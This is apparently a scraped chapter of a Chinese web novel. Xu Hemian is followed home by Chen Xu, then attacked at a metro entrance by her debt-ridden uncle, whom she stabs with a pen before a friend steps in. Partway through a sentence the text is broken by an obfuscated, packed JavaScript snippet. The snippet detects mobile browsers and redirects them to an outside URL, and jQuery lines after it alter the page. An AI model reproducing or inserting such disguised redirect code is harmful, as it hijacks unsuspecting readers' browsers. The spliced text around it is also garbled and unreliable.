许鹤眠关门的声响很轻。
“咔嗒”一声。
像根细针，轻巧而缓慢地插入陈序的心脏。
客厅里还留着许鹤眠身上淡淡的洗发水清香，与黑猫的呼噜声缠在一起，渐渐沉到地板上。
陈序立在玄关处，侧影隐入落地灯的光，泛着浅淡的黯淡。
黑猫轻轻迈步过来，蹭了蹭陈序的裤腿，发出委屈的“喵呜”。
陈序伸出干净修长的手指，弯腰摸了摸猫的头，指尖却没什么力度。
转身走到茶几旁，他倒了半杯凉水，指尖握住杯壁时，冰凉的触感顺着指腹漫开。
仰头喝了一口，水的凉意滑过喉咙，却没驱散那点空落。
玻璃杯被轻轻放在茶几上，发出轻响。
陈序拿起沙发上的黑色外套，却没穿上，而是搭在臂弯里，脚步放轻地拉开门。
楼道里的声控灯应声亮起，暖黄的光映着陈序的身影，肩线挺拔。
陈序没有拿伞。
推开单元楼门，夜风裹着潮湿的凉意扑面而来，吹得额前的碎发轻轻晃动。
远处的路灯亮着惨淡的光，在地上投下晃荡的影。
许鹤眠的身影就在不远处的梧桐树下，步伐不快，帆布包的带子在她肩上轻轻摇动。
陈序没有靠近，只是隔着远远的距离，跟在许鹤眠身后。
夜风卷着梧桐叶的碎影，落在许鹤眠脚边，又被风吹走，与陈序一同无声地跟着她。
陈序的目光始终落在许鹤眠身。
许鹤眠偶尔拢一拢卫衣的领口，又或许轻巧地跳开一步，避开地上的水洼。
走到路灯下时，他们的发梢依次被光染成浅金。
忽然。
许鹤眠停下脚步。
她停在一棵粗壮的老梧桐树下，路灯的光刚好笼在她身上，如同无人关注的剧场聚光灯，将她的影子圈在脚下。
夜风薄凉，渐渐变大，卷着好几片欲落的梧桐叶，直直坠入地面。
许鹤眠抬起手，掌心朝上。
其中一片梧桐叶，不偏不倚，落进了许鹤眠掌心。
叶子边缘微微卷翘，颜色是深褐混着浅黄，叶脉清晰得像刻上去的纹路，显然已经枯了些日子，却在风里咬牙坚持了这么久。
偏偏落在她手里。
陈序在不远的树影里停下脚步，身形挺拔，呼吸放轻。
他看着她低头盯着掌心的叶子，睫毛垂着，在眼下投出浅淡的阴影，连指尖都轻轻蜷缩着，看不清眼底的情绪。
叶子的边缘有些脆，许鹤眠的指腹轻轻蹭过，能感觉到细微的纹路，还有点干涩的糙。
她盯着叶子看了许久。
叶片躺在摊开的掌心，既像呱呱坠地的新生儿，又像垂垂已老的临死者。
天地之间，仿佛没有什么能比这片梧桐叶更重要。
哪怕快要落雨。
许鹤眠没把叶子放进包里，也没攥在手心。
她蹲下身，动作轻而柔，背部清瘦拱起，如同一颗不太饱满的果实。
叶子重新落回它本该抵达的地面。
在路灯照得到的地方，叶尖朝着许鹤眠来的方向，像是在跟什么告别。
起身时，许鹤眠神色冷淡，转身走进女生宿舍楼。
她没有回头看一眼。
陈序在阴影里站了很久。
直到路灯下的飞蛾转了好几个圈，他才缓步走出来。
夜风渐冷，远处传来隐约的雷声。
几滴雨珠落在脸上，潮湿冰凉。
陈序走到那片叶子旁，弯下身，指尖轻轻捏起叶子的边缘。
叶片上许鹤眠掌心的温度早已消散，只余下干枯的凉。
阴云松了一口气，终于心甘情愿推着雨珠跳下云层。
细密的雨丝砸在叶片上，溅起细小的水花。
陈序轻轻把叶子放进外套口袋里，拉上拉链，妥帖收好。
他抬头看了眼宿舍楼的方向，窗口亮着零星的灯，却不知道哪一盏是她的。
*
上海的早高峰是一场洪流，漫到南区宿舍门口。
天刚蒙蒙亮，许鹤眠背着帆布包走出来。
淡青色的天光里混着地铁口飘来的豆浆香和尾气味，人群像被无形的线牵着，朝着同一个方向涌去，秩序森严，脚步声、接打电话声缠在一起，织成一张紧绷的网。
许鹤眠的帆布包拉得很严，里面只装了考雅思口语的相关证件，以及一些纸质资料。
离地铁口越近，人潮便更密。
自动闸机前排着长队，每个人都低着头刷手机，脸上带着无法松懈的倦意，偶尔有人因为插队争吵两句，又很快被更大的人流吞没。
许鹤眠顺着队伍慢慢往前走。
不远处的贩票机旁，蹲着一个畏缩的身影，灰色短袖皱得像团抹布，头发油腻地贴在脸上。
许鹤眠没有看见。
但李元彭抬了头。
他满眼通红，眼白里布满血丝，一夜未眠。
看见许鹤眠时，李元彭的眼睛亮了一下，如同将死之人抓住最后一根救命稻草。
他猛地站起身，踉跄着朝许鹤眠扑过来，动作快得让她来不及躲。
“小鹤！”李元彭的声音嘶哑得像被砂纸磨过，手指抠着许鹤眠的帆布包带，指甲缝里还沾着烟垢，神情执著得有些神经质，“没时间了！我真的没时间了！他们说今天再还不上钱，就打断我的腿！”
许鹤眠用力想把包拽回来，却抵不过李元彭的蛮力。
“放手！”许鹤眠的声音冷得像冰，可指尖却在发抖。
李元彭堵在地铁口，在如此多的陌生人面前，将许鹤眠的狼狈彻底撕开。
李元彭根本没听许鹤眠的话，另一只手也抓了上来，拼命扯着包带，拉链被拽得“咔咔”响。
“里面有银行卡吗？你把保险金的卡给我！就一次！这次还完债我再也不找你了！”
李元彭的力气大得惊人，许鹤眠被他拽得往前踉跄了两步，后背发出一声沉闷的巨响，撞在旁边的瓷砖墙上。
头也跟着磕了一下，钝痛瞬间蔓延开来。
眼前发黑，耳边的人声突然变得模糊。
许鹤眠的视线里天旋地转。
她重心不稳，碰到墙体才顺着墙慢慢滑坐在地上，手紧紧捂住额头，指腹能摸到一点温热的湿意。
帆布包被李元彭抢了过去，他把里面的东西全倒在地上。
准考证不知甩到了哪儿去，学生卡滑到人群里，纸张散落四处，只有那支黑色水笔滚到许鹤眠的手边。
四周的人群被打乱了极短暂的几秒，有人低头瞥了一眼，有人举起手机拍了张照。
却无人停下脚步。
人群很快恢复秩序。
一个穿着西装的男人绕开他们，不小心踢到了准考证，也只是顿了顿，继续往前走。
早高峰的地铁口，每个人都在赶自己的路，至于其他的插曲，不过是无关紧要的背景音。人生本就是一场意外，他们承担不起更多的意外。
“怎么没有卡？！”李元彭翻遍了包，只找到几张纸巾和一张地铁卡，气得把包扔在地上，踩了两脚，“你把钱藏哪儿了？！那是我姐的保险金！你凭什么不给我？！”
许鹤眠靠在墙上，头晕得厉害，却还是抬起头，眼底的冷意像淬了冰。
“你也配提起我妈妈？如果不是你……”
“我不管！”李元彭的情绪彻底失控，扑到许鹤眠身前，一把捏住她的肩膀，指甲几乎要嵌进她的肉里，“你今天必须给我钱！不然我就跟你一起死在这里！我就算死也要拉个垫背的！”
李元彭的手扬了起来，眼看就要重重扇到许鹤眠脸上。
许鹤眠闭上眼，心里却没有怕，只有一种麻木的冷。
打吧。
打完了，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277330|179648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她好继续赶路。只要走得够远，就没有人可以再堵住她的去处。
就在这时。
一道清甜的女声突然响起：“想死是不是？光天化日之下抢劫打人！”
只见一个身影冲了过来，穿着白色的运动服，齐肩长发甩得干脆利落，一脚踹在李元彭的腰上。
李元彭哀嚎一声，抓住许鹤眠的手立马松开，捂着肚子蹲在地上，疼得直不起腰。
许鹤眠的视线还有些模糊，但她看清了一闪而过的、熠熠生辉的耳钉。
是宋希蕊。
宋希蕊瞪了李元彭一眼，然后赶紧蹲下来扶许鹤眠。
她指尖碰到她的额头时，眉头拧成结，“你流血了！要不要报警？我带你去医院！”
许鹤眠摇摇头，目光落在地上的准考证上——上面的照片被踩得有点脏，却还能看清考试时间。
只剩一个半小时了。
许鹤眠深吸一口气，慢慢站起身，语气平静：“我要考雅思口语，来不及了。”
宋希蕊愣了一下，看着许鹤眠额头上的伤，又看了看地上还在哼唧的李元彭，没料到她现在最在意的竟然是考试。
但宋希蕊很快反应过来，弯腰帮许鹤眠捡东西，说：“那你先去！这里我来处理！”
“谢谢。”许鹤眠不免动容。
她把准考证和学生卡塞进兜里，刚要去拿水笔。
李元彭却突然爬了起来，扑过去抱住许鹤眠的大腿，死死不肯撒手。
“小鹤我求你了！”李元彭跪在地上，眼泪鼻涕一起流，“我真的会死！你不能见死不救！你救我这一次，我再也不找你了！你就当可怜可怜我！”
地铁工作人员闻声赶来，一男一女，试图把李元彭拉开，可他抱得太紧，像块烂泥似的粘在许鹤眠腿上。
“先生，你先放手！有话好好说！”工作人员的声音带着急，却没什么力度。
周围的人围得更近，却也只是举起手机，屏幕亮成一片，又很快消失在闸机处。
许鹤眠低头看着李元彭，眼底没有丝毫温度。
“你放不放手？”许鹤眠闭上眼，声音冷如冰碴。
李元彭摇摇头，跪着又往前挪了半步，仰头道：“除非我死！不然我绝不撒手！”
许鹤眠睁开眼，目光落在脚边的黑色水笔上，仿佛握紧一把悬在半空的利刃。
她弯腰，指尖捡起笔，笔杆冰凉的触感让她清醒了几分。
没有丝毫犹豫。
许鹤眠握着笔，狠狠刺向李元彭抱着她大腿的手臂。
笔尖稳稳扎进李元彭的皮肤。
利刃得以落地。
够深，也足够疼。
“啊！！！”
李元彭声嘶力竭，猛地松开手，捂着手臂往后缩，血珠从指缝里渗出来，染红了灰色的T恤，触目惊心。
人群里发出惊呼声。
许鹤眠直起身，把笔塞进兜里，没看李元彭一眼，也没看周围的人。
她走到闸机前，掏出地铁卡摁在感应区。
“滴”的一声，闸机打开。
许鹤眠的背脊挺得笔直，帆布鞋踩过地面，步伐沉稳，牵动着所有人的目光。
她没回头，像穿过一片荆棘的小兽，朝着自己既定的方向走去。
宋希蕊站在原地瞪大眼睛，看着许鹤眠的背影消失在地铁通道里，心里满是震撼。
她是第一个意识到这件事的人：没有什么能阻挡许鹤眠往前走。
哪怕是血缘，是伤痛，是眼前的绝境，许鹤眠都能踩着荆棘，一步步走向自己想要的未来。
地铁口的人潮又涌了上来，吞没李元彭的哀嚎与血迹。
宋希蕊摸出手机打了一个电话，却发现自己的指尖在颤抖。
就好像她也握住了许鹤眠的那把利刃。
很快。
电话另一头传来低沉动听的男声。
“喂？”